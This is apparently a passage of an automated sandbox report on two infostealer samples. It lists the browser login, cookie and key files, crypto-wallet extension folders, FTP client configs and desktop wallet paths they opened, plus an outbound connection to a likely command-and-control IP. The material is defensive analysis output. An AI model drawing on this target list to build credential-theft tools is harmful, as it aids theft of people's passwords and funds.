Source: df1dfa8044.exe, 00000015.00000003.2910543373.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\walletsGjC
Source: powershell.exe, 00000006.00000002.2259036643.0000000007690000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Leaks process information
Source: global traffic TCP traffic: 192.168.2.6:49994 -> 147.45.198.132:80
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
